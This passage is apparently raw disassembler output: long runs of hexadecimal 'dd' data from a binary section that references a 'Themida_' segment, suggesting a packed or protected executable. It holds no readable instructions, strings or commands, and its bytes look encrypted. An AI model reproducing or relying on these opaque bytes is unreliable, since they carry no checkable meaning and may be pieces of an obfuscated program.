		dd 8A6F67F2h, 1E88369h,	1A850Fh, 81660000h, 0E9E3B3F3h
		dd 2Dh,	0D69345C1h, 18418779h, 0AF71F254h, 31A09748h, 8FD4F381h
		dd 7DE92F69h, 0EFFFFFFFh, 9252C9FDh, 4A992794h,	9D86D175h
		dd 6D3D4CB4h, 9E8C7h, 0FFB0000h, 0A11C2271h, 0F18057Ch
		dd 128Bh, 0CE800h, 45EA0000h, 65FC80Eh,	15D25C5Dh, 5F5A1094h
		dd 6B1CC781h, 0E6800000h, 0FDB2BC1h, 1E88h, 18890F00h
		dd 0E9000000h, 13h, 0F343E152h,	0BAAE7559h, 823C8108h
		dd 25884514h, 0FFBED968h, 0EA813B34h, 3CF3D624h, 6C6815Eh
		dd 0B93E8A2Ah, 2D896138h, 44CFEE81h, 81664EE0h,	818B9BD8h
		dd 0CBDE98EEh, 0BE91Ch,	0B9190000h, 9E10D608h, 0F78F3A45h
		dd 1F34893Ah, 6BC28166h, 4EB8367h, 38B0Fh, 8B660000h, 0B8FB81D1h
		dd 0FFFFF95h, 1A85h, 26BA6600h,	28E984h, 15CD0000h, 0A058FC65h
		dd 7163D328h, 67024F2Eh, 80D9098Ch, 88E9D2E9h, 0F6FFFFFFh
		dd 0C8FA464Dh, 0AB94660Bh, 78596C3Ch, 0E5E99DA3h, 10000000h
		dd 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6D171E57h, 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh
		dd 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h
		dd 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h
		dd 0A7286020h, 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h
		dd 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h,	6DF72020h
		dd 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h
		dd 43F2FD54h, 2222DA53h, 0C76E9h, 9B3F6800h, 44E9060Eh
		dd 68FFFCE6h, 60E9C40h,	0FCE63AE9h, 9D3368FFh, 30E9060Eh
		dd 68FFFCE6h, 60E9DECh,	0FCE626E9h, 9E5E68FFh, 1CE9060Eh
		dd 68FFFCE6h, 60E9F00h,	0FCE612E9h, 0A07B68FFh,	8E9060Eh
		dd 68FFFCE6h, 60EA194h,	0FCE5FEE9h, 0A27C68FFh,	0F4E9060Eh
		dd 68FFFCE5h, 60EA331h,	0FCE5EAE9h, 0A3F568FFh,	0E0E9060Eh
		dd 89FFFCE5h, 709D467Dh, 0DECF1425h, 8865FED3h,	77904372h
		dd 72C1122Dh, 0B588906Bh, 53841AEh, 0E8E731DEh,	0BC899A0Bh
		dd 1E965AA7h, 0C59A846Ah, 0DE960EFDh, 0A514F8D5h, 0B59D615Ch
		dd 7C896E7Fh, 0B8C49241h, 0F3D7EE36h, 2BC0C569h, 7D45BD9Fh
		dd 0FAD72089h, 957B8C79h, 8EABA009h, 3D81E587h,	60B45435h
		dd 0F2CDD73Ah, 7A455F0Eh, 6964BE96h, 74A1AB15h,	5F1ACB21h
		dd 85146EAAh, 0A02D87A1h, 0C0132E7Bh, 2D72D227h, 7468AC10h
		dd 0F1CCD980h, 7F465C0Dh, 0FBD2228Bh, 1FAEEA17h, 0D28A0AB8h
		dd 210586DEh, 0AB505D57h, 74F0635Eh, 9E0642EAh,	6A893A60h
		dd 0BD256597h, 57E0C452h, 0D382CF1Ah, 2FC2A94h,	2C35C1EBh
		dd 50FC6h, 0D5DE2E00h, 50A514F8h, 0DCA0FE65h, 8C119547h
		dd 0A1BD9F19h, 0B667F559h, 0AEE2566Bh, 0E794F480h, 53413A60h
		dd 68FBE52h, 57BA2C35h,	42000000h, 754850BDh, 5733BB81h
		dd 0D8C3941Dh, 5C608EE2h, 0C4313B40h, 876987BEh, 9F05CE6Fh
		dd 0F75BBFBDh, 3753DB65h, 0B83A60CBh, 70149842h, 0F73A60CBh
		dd 0F1916583h, 243A60CBh, 59EB717Ch, 133CB9E2h,	8D8CDA1h
		dd 3A60597Ch, 0FF618FF3h, 2C35354Eh, 0E67Bh, 0D5DE8500h
		dd 0EBE3A923h, 0C2268CCFh, 0FB01EC7Eh, 0F21C70C4h, 2C3E011Bh
		dd 69AC8Fh, 8BA54166h, 0F0CDD687h, 7D485D0Ch, 0D8F53EEFh
		dd 45708574h, 8FB99DF1h, 5AAD58D4h, 89A79B6Fh, 9417BCFDh
		dd 0DFEA3FC3h, 260CAE0Dh, 84C385A0h, 0B1C896Ah,	4A524A3Eh
		dd 0B6832B31h, 0B7BD9F4Ah, 0CF0CDD6h, 2F0FD4C8h, 0C3D5C04Dh
		dd 4CC00F4h, 3A610240h,	4D9FF3C7h, 0CC7A57A0h, 12659022h
		dd 0D17F5327h, 6C935F05h, 0EAD044h, 0A3B08F95h,	0C8073E42h
		dd 8C704085h, 74F95EB4h, 0E1000009h, 48A5BE95h,	36D70C3Dh
		dd 0E00DD6EBh, 4FB8BB9Ah, 6AE90A35h, 0AD90E803h, 7D4059B6h
		dd 0C0FF09E6h, 94A1F213h, 6AE424Fh, 0C59A8642h,	0DE8E76C5h
		dd 0CA71FBDAh, 3A40DF7Eh, 0A453B71Bh, 5726FDDFh, 4D817544h
		dd 0D227C0A3h, 0BD847CE7h, 710D8C33h
		dd 75308BFh, 94C6BBCFh,	18360CC3h, 0ADF6F884h, 7FAEBC90h
		dd 55A91D2Ch, 0C61B6F87h, 96ECC394h, 0DF7EF678h, 50BD9FDEh
		dd 3E4EE66Ah, 0EB3A61ACh, 25C43CC9h, 0C2C36A2h,	0CAh, 0F8D5DEE8h
		dd 965FA514h, 941D6A1Eh, 0AAA5F3C3h, 0DF1D52Dh,	941B9425h
		dd 0F7C2D7C3h, 0AD76836Ch, 0DCD7E80Eh, 3C348DBDh, 3C6BA148h
		dd 0C12FBDFh, 9A0BD135h, 0BC94B28Fh, 0D11B207Ch, 60BF585Dh
		dd 4E95ED42h, 65F78C10h, 6D1F88C1h, 92F36844h, 17F0529Ah
		dd 201AF917h, 8EB1CB3Ah, 0AB60B855h, 72E44703h,	9EF2C830h
		dd 70B3DE51h, 5A3D158Ch, 873h, 0A6BD949Eh, 0D0033E49h
		dd 0ED5E437h, 0B9BA99E1h, 0EA09344Ch, 93E9046Bh, 4156B7ACh
		dd 0FE06E77Ch, 0A6F31CC7h, 0A94348ABh, 9A814105h, 8177C6C5h
		dd 42511EBDh, 68192C43h, 979EE636h, 54F2D6CDh, 4E9CA3F9h
		dd 98ED475Fh, 0B1C049ADh, 36D03498h, 0A4750BDh,	0D5DE2BE9h
		dd 50A514F8h, 289FE65h,	66628A14h, 0E9C3941Dh, 0E3C7FE04h
		dd 1D91F579h, 2C16C394h, 0CCE2BA02h, 0C5398DB8h, 0D6F37BE1h
		dd 57BD9F05h, 0E0FA0C63h, 0C43FAF11h, 35B9A3B8h, 46B34800h
		dd 4C7D8865h, 0E03584F8h, 0ED0DF1D5h, 0D466F48Fh, 0B54D3450h
		dd 0A947BB36h, 82C7AFC7h, 4BD548B8h, 86CEA723h,	34D2282Ch
		dd 8C79E3D7h, 378F4879h, 677A8D53h, 8F57791h, 8E18C2FFh
		dd 86FC6266h, 0C36BE52Ch, 2C86FC87h, 30DE3208h,	0E54D56B7h
		dd 824DA19Ch, 9144CBB7h, 80A718EAh, 0ED000007h,	54B1A299h
		dd 2E37041h, 0EC19DAF7h, 5BB4AF96h, 5EE57E41h, 91ACF417h
		dd 615CA542h, 340315F2h, 98B5FE2Fh, 32BAB65Bh, 0C59A8056h
		dd 0DEF26AD9h, 1414F8D5h, 0DF69F388h, 40EEE32Eh, 9F1935B4h
		dd 13C03ABDh, 221F6491h, 5FE4B804h, 8C92038Dh, 63CB9BB5h
		dd 0DC446E4Eh, 7C8974E6h, 20759241h, 3349A115h,	0E5AAC228h
		dd 3B4E7CC5h, 5E88B5CAh, 5BFB0CE1h, 0B68A7E41h,	1EC7E52h
		dd 0D7F102F4h, 4ACB23ABh, 80AEE256h, 0DFEA3FEEh, 0BA97E00Dh
		dd 9354F2D6h, 0A0142172h, 3D2F3448h, 38E80CB3h,	0D2FD9BDCh
		dd 4E4DA034h, 0B8825048h, 8B5DFCAFh, 40070398h,	6C7h, 0AE9E032h
		dd 0A4BF8A9Dh, 0D201384Bh, 0DD6ED35h, 0BEA598E0h, 0E73DD007h
		dd 95EA1BD8h, 4A5A4BA8h, 0F207E073h, 7DEF1CC7h,	9A809DE9h
		dd 3DA312C5h, 0E4760D6Fh, 9AB50740h, 5A6988BDh,	50C0622Fh
		dd 0F59115C7h, 7A3A65DDh, 0CF3E2C00h, 0BB548FBAh, 8FEF536Eh
		dd 608456EDh, 446ED981h, 5ADF223h, 46E0C4F3h, 1F76F1C9h
		dd 0D28C70F3h, 6559F70h, 76800000h, 1C6B845Fh, 0CAD9362Dh
		dd 7B836CF7h, 2A6E9F44h, 6289C82Bh, 954E718Bh, 0C51E2378h
		dd 72E1DC28h, 0AEB58095h, 63678F5Dh, 0E4C59A83h, 33BDAF15h
		dd 941DCFBBh, 143900C3h, 0E845B193h, 5978BE6Fh,	93BD91F5h
		dd 0EA710Bh, 9A5744ECh,	15C73BBDh, 0B1A29FE8h, 82764354h
		dd 0E354DB8h, 0EA5E69BFh, 58247896h, 0CA9519C3h, 7B4468EDh
		dd 0DF28D507h, 7F42A339h, 0CBE01F2Ah, 3D261A5Fh, 608AC7D0h
		dd 22F272FBh, 0CA641825h, 0CD562646h, 239A971Fh, 57AB4E7Ch
		dd 7F78BF98h, 7BDC3692h, 5B3h, 66FDD4DEh, 90437E89h, 0CE152477h
		dd 79FAD921h, 0AA49748Ch, 0D329C42Bh, 819677ECh, 3E46A7BCh
		dd 0E633DC07h, 698308EBh, 9A8281C5h, 0C1B706C5h, 14F8D5DEh
		dd 0FE6550A5h, 0CDD2DCA0h, 587947F0h, 52260B43h, 0F201EC7Eh
		dd 0F9176BDFh, 5572FF77h, 0FFC3BD9Fh, 3FB7C10Bh, 3A615A4Bh
		dd 0BC48E6DCh, 3A615ACCh, 0BA0E354Dh, 1F5C4D3h,	54DCE9C3h
		dd 615AB4D0h, 0E3C73B3Ah, 0A15B6A4Eh, 2C355388h, 31A1h
		dd 0D6F4F00h, 0E139E476h, 0FC2A6ED2h, 55BFA72h,	0EED4BD9Fh
		dd 0CABACA1Ah, 356F3A60h, 0C7A940B8h, 22802C35h, 18000001h
		dd 0DDAC9BEDh, 3509FDC8h, 0D5DE251Bh, 433C8123h, 980C72A3h
		dd 0C3948FECh, 313B1F63h, 948FC9BDh, 645EC3h, 7EB7CDBCh
		dd 0F94D7C8Fh, 8F394D85h, 7A80C394h, 2493F75Bh,	0A716FADEh
		dd 6BF56752h, 948F87C3h, 143208C3h, 0FB384D3Ch,	948F1773h
		dd 0B78E96C3h, 0CA308FC3h, 12830DD6h, 4C183603h, 0C394890Dh
		dd 0F56E5BACh, 4E320F18h, 27354E2Eh, 40CD54B8h,	6D9BD484h
		dd 17826B83h, 0A916BD9Fh, 974CAA40h, 0F350FEE6h, 720A548Fh
		dd 5DDC03E9h, 0CA1F4F6Ah, 7C089C4Eh, 0F33A6141h, 7D8F618Fh
		dd 9AB48590h, 6CD73BCAh, 34B8B444h, 3073B450h, 102D76D7h
		dd 0F3A4D3Ch, 0F96347BBh, 2AC9F40Ch, 4F98A7FDh,	8C700132h
		dd 388E41C1h, 0A5000004h, 0CF97A51h, 0FA2BC8F9h, 0A44192AFh
		dd 13FC675Eh, 962D3609h, 6954AC4Fh, 39041D8Ah, 8CBBCD3Ah
		dd 506DB657h, 7AF27E83h, 0C59ABD0Eh, 0BD4A3281h, 830A4750h
		dd 0A5A84679h, 71F3605Fh, 0C568F7CAh, 0DA52655Dh, 0C394B6AEh
		dd 4BE5D921h, 5F84B1C2h, 800D6FB9h, 941D186Ch, 0B7ABEFC3h
		dd 1E2378A5h, 47F67EF0h, 28BD9F05h, 0BE023D47h,	5292665Ah
		dd 3A60CB32h, 0A830BDE7h, 0AA1E257Dh, 0A746B856h, 822C35C6h
		dd 0D1h, 0F11EBD6Ah, 0B2DA3FDh,	66B39AB4h, 0CB55E76Bh
		dd 940027A3h, 0B452A8C3h, 887C4359h, 94061958h,	844F58C3h
		dd 496F27Ah, 2119C394h,	9404A521h, 0FCD02AC3h, 5F6ABF6Eh
		dd 0FE7997EBh, 0DB120411h, 0FDA9D9E6h, 0E800F4E8h, 0C95D8F94h
		dd 0BD9F6220h, 0E0BEA59Dh, 89FD719Ch, 1E3A612Bh, 0B60E1B24h
		dd 4DBE3E9Eh, 796B8369h, 0F2446C25h, 5CD06288h,	3073E528h
		dd 0C3AD5BBFh, 13C44B1h, 231266E7h, 0F2CDD730h,	6FB23E75h
		dd 0A265ED8Ch, 31Fh, 0D201384Ah, 0CD7E235h, 0BAB990E3h
		dd 0D50E354Dh, 6DDE038h, 4F55A8BFh, 0FD02E370h,	0A2F213C0h
		dd 4A5F48ABh, 0D517E47Fh, 9ABC3551h, 55CBBAC5h,	78FBDADEh
		dd 35B97A8Fh, 0C3941D51h, 6B88ECD6h, 0F8D5DEADh, 30B4C614h
		dd 0C3941D54h, 0C449E7DBh, 285D86B3h, 4ED5A79Fh, 96E3129Ch
		dd 0CCF98DBBh, 2CBD9F05h, 162973A2h, 60C5AADEh,	2BC53D3Ah
		dd 0F88C202Ch, 4F3A60C5h, 3630170Bh, 0E6541EBEh, 7D56E0Eh
		dd 0C8BC8196h, 6905AF4h, 94B28D97h, 2196B5C0h, 8D1B3AE8h
		dd 41661FDAh, 6526267Eh, 507021DAh, 0DFA39EE9h,	0A85587FBh
		dd 4CC4625Fh, 21CB502Ch, 2D07E58Dh, 0FA605AF2h,	886EBD68h
		dd 0E7642758h, 0EC1A7ED6h, 3A391461h, 0F37BB8CDh, 8A323297h
		dd 4C300D16h, 574B8F08h, 0B17AE598h, 593E1436h,	237h, 0FA7950A2h
		dd 14CFFA0Dh, 4291A8FBh, 0FD665DA5h, 2E350810h,	57AD4097h
		dd 51A8B68h, 0BACA3B38h, 62B75083h, 0ED7F8C57h,	9ABF0D79h
		dd 4D3382C5h, 0CFBB33BDh, 40C3941Dh, 3441CC7Ah,	76A7B519h
		dd 0A7F71120h, 0F3CEDBD5h, 5D7CB0Fh, 9F2338E1h,	16CD35BDh
		dd 8A124E61h, 2CD96BF1h, 0ED3035DBh, 0A4233DB4h, 0F80DFC40h
		dd 0EB03E9CDh, 3A60FC9Fh, 68FC2A10h, 446BE45Dh,	7FF7E8D2h
		dd 0FBF00733h, 10DA613Bh, 0C466B99Ch, 0C0B48E8Ah, 9D4FD4A8h
		dd 0C9E56109h, 76E4DE8Ch, 95477287h, 0A7E7E30Bh, 1268E8D5h
		dd 819273F4h, 0F024BBB4h, 0FF4B5515h, 18218h, 0AC9BEF00h
		dd 724F56B7h, 0C4F504E1h, 0A9A8EE1Fh, 78475D4Ah, 0F6155CFBh
		dd 0A74093A2h, 17F0635Eh, 0C02D3601h, 0B0599AB7h, 0BE5034B8h
dword_576400	dd 68D7C59Ah, 6DD5DEF0h, 64582C1Bh, 207CBC00h, 885DD11Bh
					; DATA XREF: Themida_:0053EA7Co
		dd 0B0BD9F1Ah, 16BAA60Bh, 9A52328Ah, 0B3CE1A18h, 8072105h
		dd 425C2132h, 73F9821Ah, 6B5CCEFBh, 198D5F44h, 307D2C6Dh
		dd 43A498E2h, 8F716783h, 3E4557FFh, 699DB82Ch, 0EFF8769h
		dd 3D1A3409h, 633971C5h, 0FFAD12D8h, 413DB56Dh,	7D0CEE7Fh
		dd 8F7C78C2h, 7F678F61h, 9D89723Eh, 0A3ABF13Eh,	3923FBDCh
		dd 490FD1B5h, 0C26C56EDh, 3EEF7D45h, 0E354DF5h,	0CBDCC92Ah
		dd 987871FEh, 0BF8B517Ah, 0BED8h, 0E0DF2B00h, 0B6839273h
		dd 183140ADh, 0EDD42ADBh, 0BC839976h, 32C910A7h, 0E30CD7EEh
		dd 53BCA79Ah, 3CE90A45h, 0F405DEEBh, 0BE94F074h, 0AC1BC59Ah
		dd 0F8D5DE34h, 0F3881414h, 0A04DDF69h, 0B1957954h, 941DD5B1h
		dd 0C6605AC3h, 9F19D73Eh, 0B4C7A8BDh, 0F9DD3185h, 394DE173h
		dd 8E3A60E7h, 11E5D821h, 0B42FD93Dh, 638992EAh,	6E4E9BCBh
		dd 1AEED444h, 886B66B3h, 0F003F27Ch, 0D11175D9h, 30727FB5h
		dd 2726C03Ah, 0D313E7D2h, 6C51AD3Ch, 1C85001Ah,	0C8253E0Bh
		dd 0A20217BFh, 0B2067A57h, 27967A5Eh, 0E11CE0DFh, 0A8FD22A3h
		dd 5CA9469Dh, 104F9D61h, 5A8480Ch, 45BA54A4h, 3, 0DE9C84EFh
		dd 0A009FDD4h, 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh
		dd 2EB5F66h, 8871C5FCh,	0DFC4079h, 0CF7BCFFAh, 81E18951h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 8951242Ch, 4C181E1h
		dd 81000000h, 4E9h, 240C8700h, 2434895Ch, 5B2F68h, 242C8900h
		dd 0F7BD5552h, 0BA223B00h, 0E3D39860h, 895DEA01h, 8B545AD6h
		dd 0C483242Ch, 0BD555604h, 0DF41DFFh, 4246C29h,	8458F5Dh
		dd 0FF084581h, 0FF0DF41Dh, 835D2434h, 348B04C4h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 0FCD9DEE9h, 0AFAD72FFh, 0B8EA49F4h
		dd 60EA4D8h, 0E0FFC503h, 7048248Fh, 7CA3E563h, 30D80F8Dh
		dd 0C5929E9h, 4766337h,	7F8D502Eh, 13A83635h, 3C8F4CF4h
		dd 0D954ADFh, 45061660h, 3A6C174Eh, 5B3AF794h, 4FB50673h
		dd 2AEAB80Ah, 7E94687Fh, 3C754B1Dh, 13AD1262h, 71542837h
		dd 9567F01h, 72EB9B07h,	68C345ABh, 50003B61h, 1034B408h
		dd 196C3F6Eh, 4D443BF8h, 578F1D0h, 4E5313BAh, 15FF7D5Ah
		dd 279B1611h, 148E9h, 5000h, 5400h, 5800h, 5C00h, 6000h
		dd 6400h, 6800h, 6C00h,	0B000h,	0B400h,	0B800h,	0BC00h
		dd 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h
		dd 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h, 38h dup(0)
		dd 5766E500h, 9F50EB00h, 0E1858D00h, 0E8060EA5h, 0Fh, 0E86D0468h
		dd 0AAE95620h, 0FF9CDF80h, 50D8818Ch, 5F5EFE8Bh, 0A7218589h
		dd 85C6060Eh, 60B2845h,	3D9D8B54h, 68060B32h, 0A62F36B2h
		dd 5E9h, 0FDE7C200h, 481D831h, 33317724h, 8E948h, 0D2AA0000h
		dd 0A095BFA3h, 0B5FF7D8Fh, 60B1355h, 286DBD8Bh,	858D060Bh
		dd 60E7D18h, 26E18D8Bh,	0D0FF060Bh, 1061BD31h, 8589060Bh
		dd 60EA725h, 4DE9F5h, 9D090000h, 60B1F9Dh, 21B58B56h, 89060EA7h
		dd 21858306h, 4060EA7h,	8D60C35Eh, 0EA5E1B5h, 560FEB06h
		dd 36FF006Ah, 0A72595FFh, 835E060Eh, 3E8304C6h,	61EC7500h
		dd 0A236BAC3h, 8531247Ch, 60B1AB1h, 0DB816060h,	7D71A0CAh
		dd 8D6161FCh, 0EA7C285h, 0BF666006h, 0BD8B2086h, 60B0F49h
		dd 1D858961h, 0EB060B10h, 0BF000039h, 0BF02CC00h, 0BF02E400h
		dd 0
		dd 3872EE00h, 217E0A44h, 3076CF75h, 3B722421h, 3135C44Ch
		dd 1B1BB84Dh, 19572E75h, 1A6F7B21h, 175FF51h, 347E3F49h
		dd 3F7BA645h, 56F30521h, 751BA921h, 0DC45177Fh,	0D41F4E55h
		dd 421F1165h, 131B9A21h, 0C8248E77h, 0E8921B52h, 53105298h
		dd 979ACFD4h, 9590136Ah, 5766E7AAh, 0E038332Ah,	5310BAB4h
		dd 50A6F0A2h, 201BA02Ah, 84A6D028h, 551DA208h, 64BCD55h
		dd 0ECA3AAAAh, 0DC1B3525h, 5E31AFA4h, 4F86C027h, 0AA1DAB92h
		dd 0D64308F2h, 5E32789Ch, 426FD427h, 0ECA33971h, 0DC1B3525h
		dd 5E31AFA4h, 5C86C027h, 0AA1DAB91h, 3F4308F2h,	56F3F821h
		dd 751BD421h, 0DC42A978h, 0D41F116Dh, 491FBE65h, 141B4D21h
		dd 90926570h, 7DDF39FCh, 0DC58DB46h, 5E3975BCh,	0A55D327h
		dd 557155ACh, 55187277h, 0B3B4D21h, 2192F8E2h, 119A5705h
		dd 550CAD05h, 35DD421h,	8E8D67E2h, 551EDC15h, 8BC19A21h
		dd 0DEE491A7h, 31BCCE1h, 551B50C9h, 96458921h, 716F5D7Fh
		dd 715FEB25h, 551B2825h, 964DDC21h, 0D0388A3h, 82E476Dh
		dd 0A49B1B28h, 109E6F93h, 31DDF09h, 54C2D7AAh, 6073332Ah
		dd 33BABA10h, 619AB5AAh, 0DD92C105h, 5896D81Ch,	0AA1DA203h
		dd 5E088194h, 56936527h, 331B3521h, 46F24DAAh, 2F1B4D21h
		dd 2EF7CA20h, 4B5FD9C0h, 4B5677A2h, 2C23F40Bh, 0D0969B20h
		dd 53154839h, 64CB65D9h, 5E151094h, 0E01FCC27h,	0E42C3B68h
		dd 2AA55742h, 0D4472CD1h, 0BD24E25h, 557134BDh,	55187273h
		dd 0F3B4D21h, 192FCE2h,	119A5705h, 5503AD05h, 759D421h
		dd 0F85B53E2h, 8A9A25A4h, 519D0425h, 551B43C9h,	32DE1D21h
		dd 8AF3FA8h, 365E7853h,	0DEB97EE2h, 5E14FBACh, 1D736F27h
		dd 335727FBh, 619A9AAAh, 0E8C30205h, 61B396Dh, 551BAAC9h
		dd 9640F421h, 7147E37Ah, 715FB425h, 551B8025h, 96480E21h
		dd 47FC47EFh, 3F78C609h, 74AEA021h, 0AA1DDF38h,	0B496E3F1h
		dd 0DC1D3E2Eh, 5BB38BA4h, 0AD90B427h, 55196A24h, 409EDA21h
		dd 0D61DA789h, 0D092CCE1h, 5315C238h, 0B9A2F512h, 0A61B9A23h
		dd 21B278Bh, 551BA5C9h,	96447321h, 7167207Eh, 715F5525h
		dd 551B7325h, 964C7221h, 0A7755840h, 0E890B3D2h, 53108EACh
		dd 3FBBAA1h, 762624A8h,	9345D22Ah, 5E332FA4h, 8F9A7627h
		dd 169EF750h, 72B6D8AAh, 0B973A02Ah, 0E4F89684h, 712F2827h
		dd 2AB91A93h, 0BD496A4Bh, 551B3522h, 0FD8C001h,	513F19A8h
		dd 513FE2A0h, 551B533Dh, 0E9D8FB63h, 8EEB6EE7h,	0A27B54BFh
		dd 551B24C8h, 6E357F21h, 298482C2h, 6C63394Ah, 0F6D3D109h
		dd 0AAE7ED0Ch, 5E088194h, 21B0027h, 551B36C9h, 9644BA21h
		dd 7167C47Eh, 715F2725h, 551B4425h, 964CEE21h, 0B6769583h
		dd 0F32FDA9Eh, 4D9EB866h, 5A1D945Ch, 85E4BF9Eh,	0DCCD112Eh
		dd 5E02D6A4h, 1BC327h, 551BD7C9h, 96464A21h, 7177BC7Ch
		dd 715F1B25h, 551B5525h, 964EE321h, 755CA219h, 5511405Eh
		dd 0D3FCD421h, 21C6FD7Ah, 0A5C724B5h, 767E1FACh, 50F34B2Ah
		dd 581BA621h, 733C8856h, 773634A8h, 0DC45D22Ah,	5E344BA4h
		dd 21B5F27h, 551B99C9h,	96446D21h, 71672F7Eh, 715FD225h
		dd 551BBD25h, 964C9321h, 5C8E4334h, 931D3E29h, 5E33DFA4h
		dd 0D47D1E27h, 3D788DC3h, 0AD9A3AFDh, 5517262Eh, 74BD421h
		dd 64143376h, 8E228A47h, 519AC27Bh, 7AC5B105h, 4792A925h
		dd 5A1B5321h, 551BA5A2h, 551C3D21h, 51FE6A21h, 9C057FA9h
		dd 0AE651Ch, 3F1D4632h,	56F3F721h, 751B5321h, 0DC426A78h
		dd 0D41FF06Dh, 4E1F4E65h, 141B3521h, 0A7FA5970h, 6E35A81Dh
		dd 0D09669C2h, 53152E39h, 0AAEB1E2Eh, 61BBEF1h,	551B69C9h
		dd 96401521h, 7147137Ah, 715FCC25h, 551BBF25h, 96481021h
		dd 88AF4576h, 41F25B62h, 0E21B6A21h, 5846A4F4h,	67B4E1A3h
		dd 0E2ECAFD5h, 39745B6Ch, 5ACADA03h, 551BAFA6h,	80965D21h
		dd 0DC1D612Ah, 5E29E8A4h, 34961127h, 931D4620h,	5E33E3A4h
		dd 0D1140027h, 551BA922h, 3DCB632Eh, 0AEDA443Eh, 0D4CDBE47h
		dd 0BFB7BE15h, 0EB4B6EF8h, 5161ADF9h, 0AEAC7Bh,	0DC1DA232h
		dd 5E03C994h, 4D9EE727h, 3F1D3B5Ch, 56F3C821h, 751B4D21h
		dd 0DC41657Bh, 0D41F7775h, 411F8D65h, 171BD421h, 0AA90A973h
		dd 41B5FF1h, 551B99C9h,	96426D21h, 71572F78h, 715FD225h
		dd 551BB425h, 964A9521h, 96CF4752h, 54785684h, 0D514979Ah
		dd 551B4D27h, 428A3310h, 0D092552Ah, 5310A11Ch,	93E3632Eh
		dd 5E332FA4h, 55717227h, 55187271h, 0D3B4D21h, 1192FEE2h
		dd 119A5705h, 5506AD05h, 55BD421h, 0B060DAE2h, 6F97D792h
		dd 2E04941h, 0F41B477h,	55AA1328h, 9073552Ah, 5BC1EB1h
		dd 1C516A73h, 6414642Ah, 0DE7D6771h, 332A95DFh,	0FF3F19Bh
		dd 0D443FC79h, 18777715h, 0C892B948h, 5310FE48h, 464EDFDEh
		dd 5571332Ah, 55187276h, 0A3B4D21h, 2992F9E2h, 119A5705h
		dd 550DAD05h, 25CD421h,	0EC27ECE2h, 2803B0ACh, 55719C2Fh
		dd 5518A573h, 0F3BA621h, 19209E2h, 119AAD05h, 5501D005h
		dd 7596A21h, 0D66742E2h, 804B3855h, 0D0129DDEh,	5310A480h
		dd 38E947h, 77122CA8h, 5571D22Ah, 55188270h, 0C3B3521h
		dd 1992C3E2h, 119A4905h, 5500A205h, 45A5321h, 2EB453E2h
		dd 4A9FBC7Bh, 5C9EE36Bh, 931D3E21h, 5E33DFA4h, 0A29A0A27h
		dd 685769A5h, 4573ABAAh, 0EA44D64Fh, 560421h, 3F3F6EA0h
		dd 3F396983h, 56F3CA21h, 751B4D21h, 0DC436579h,	0D41F7765h
		dd 4E1F8D65h, 151BD421h, 0C03EA971h, 0AC1C5AFFh, 0E892DAF6h
		dd 53105B78h, 464E13DEh, 5571552Ah, 55184172h, 0E3BD421h
		dd 99231E2h, 119A3105h,	550D9E05h, 6584D21h, 7DDB0AE2h
		dd 7132C6AAh, 9B9AAF2Ah, 4D8D815Ah, 2803EFACh, 5571332Fh
		dd 55187276h, 0A3B4D21h, 2992F9E2h, 119A5705h, 5506AD05h
		dd 25CD421h, 7F9B05E2h,	1650E9B3h, 0AD636D7Ch, 0C0329DDEh
		dd 53108614h, 556AD6A8h, 0EA7DAF2Ah, 839BE249h,	109EACE7h
		dd 121D3E09h, 0D298939Bh, 954A2506h, 0DB1468AFh, 551B5322h
		dd 0D4D32247h, 0A917F015h, 55710E62h, 5518DD73h, 0F3B9A21h
		dd 19217E2h, 119AA205h,	55015705h, 759A921h, 0BC9418E2h
		dd 2C9D1F00h, 0B88EBE77h, 0C1D9121h, 464EF8DEh,	879AA02Ah
		dd 24D22050h, 28032CACh, 5571D22Fh, 55188274h, 83B3521h
		dd 3992C7E2h, 119A4905h, 5500A205h, 5E5321h, 0FA0DEEE2h
		dd 0EAE34746h, 0E142D4F1h, 85E46D77h, 0BD499A4Bh, 551B4D22h
		dd 0FD8FC01h, 513F07A8h, 513FEDA0h, 551BD439h, 0E5D83863h
		dd 923C170Bh, 466A1FA8h, 55714B2Ah, 55184E71h, 0D3B5321h
		dd 1192F1E2h, 119AD005h, 550E6E05h, 55B3521h, 0BDEB30E2h
		dd 551B4D2Ch, 8B855D74h, 0D67EB183h, 3B8B140Eh,	0A79AB2F1h
		dd 5A41D769h, 551B36A0h, 87AC9521h, 55719DDEh, 55184E71h
		dd 0D3B5321h, 1192F1E2h, 119AD005h, 550F6E05h, 55B3521h
		dd 0E81A52E2h, 5310592Ch, 53FA23A8h, 0D114552Ah, 551BA922h
		dd 33D15F47h, 0BC48B2ADh, 551B352Bh, 600F2840h,	0C2231333h
		dd 7141FEB1h, 51B3925h,	551BAAC9h, 9643F421h, 715FE379h
		dd 715FB425h, 551B8C25h, 964B0D21h, 5EAD1EC4h, 5E15B2B4h
		dd 5ADBA327h, 551947A5h, 51B0021h, 551B36C9h, 9643BA21h
		dd 715FC479h, 715F2725h, 551B4825h, 964BE921h, 0CAD7B07Dh
		dd 0E57FFAB2h, 93E38A2Eh
		dd 5E33DFA4h, 55710227h, 55184E73h, 0F3B5321h, 192F3E2h
		dd 119AD005h, 550C6E05h, 7593521h, 0CCE9B6E2h, 548EC40Eh
		dd 3D1DAD12h, 0D327D8BAh, 0D4D32247h, 0B432F025h, 0E0A55362h
		dd 0AA21C9B7h, 5E08CF94h, 1B2727h, 551BA5C9h, 96467321h
